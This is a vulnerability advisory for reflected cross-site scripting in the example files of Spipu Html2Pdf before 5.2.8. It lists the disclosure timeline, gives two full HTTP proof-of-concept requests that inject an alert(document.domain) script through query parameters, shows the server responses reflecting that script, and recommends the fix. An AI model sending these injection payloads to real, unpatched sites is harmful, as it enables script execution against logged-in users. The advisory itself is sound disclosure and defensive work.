Spipu Html2Pdf < 5.2.8 - XSS vulnerabilities in example files.
- Vulnerability reported to vendor: 18.07.2023
- New fixed 5.2.8 version released: 18.07.2023
- Public disclosure: 23.08.2023
Cross-Site-Scripting (XSS) vulnerability in Spipu Html2Pdf example files. This vulnerability allows an attacker to execute untrusted JavaScript code in the context of the currently logged-in user.
The vulnerability exists in any parameter that is passed to the example9.php and forms.php example files.
Example request to forms.php script:
GET /html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script> HTTP/1.1
Host: example.afine.com
Cookie: PHPSESSID=oiqo2oopiqt88teqgfb0a23vk0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Server response:
HTTP/1.1 200 OK
Server: Apache
Content-Length: 2215
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<page footer="form">
<h1>Test de formulaire</h1><br>
<br>
<form action="http://example.afine.com:443/html2pdf/examples/res/forms.php?test=abc"><script>alert(document.domain)</script>">
<input type="hidden" name="test" value="1">
[...]
Example request to example9.php script:
GET /html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/?nom=1 HTTP/1.1
Host: example.afine.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Server response:
HTTP/1.1 200 OK
Date: Sat, 08 Jul 2023 18:32:51 GMT
Server: Apache
X-Powered-By: PHP/7.4.8
Content-Length: 795
Connection: close
Content-Type: text/html; charset=UTF-8
[...]
<body>
<br>
Ceci est un exemple de génération de PDF via un bouton :)<br>
<br>
<img src="http://example.afine.com/html2pdf/examples/exemple09.php?test=/"><script>alert(document.domain)</script>abc/res/exemple09.png.php?px=5&py=20" alt="image_php" ><br>
<br>
<br>
<form method="get" action="">
[...]
This issue was caused by a lack of sanitization of the provided request parameters. This problem has been fixed in Spipu Html2Pdf version 5.2.8.
< 5.2.8
Update Spipu Html2Pdf to 5.2.8 or newer.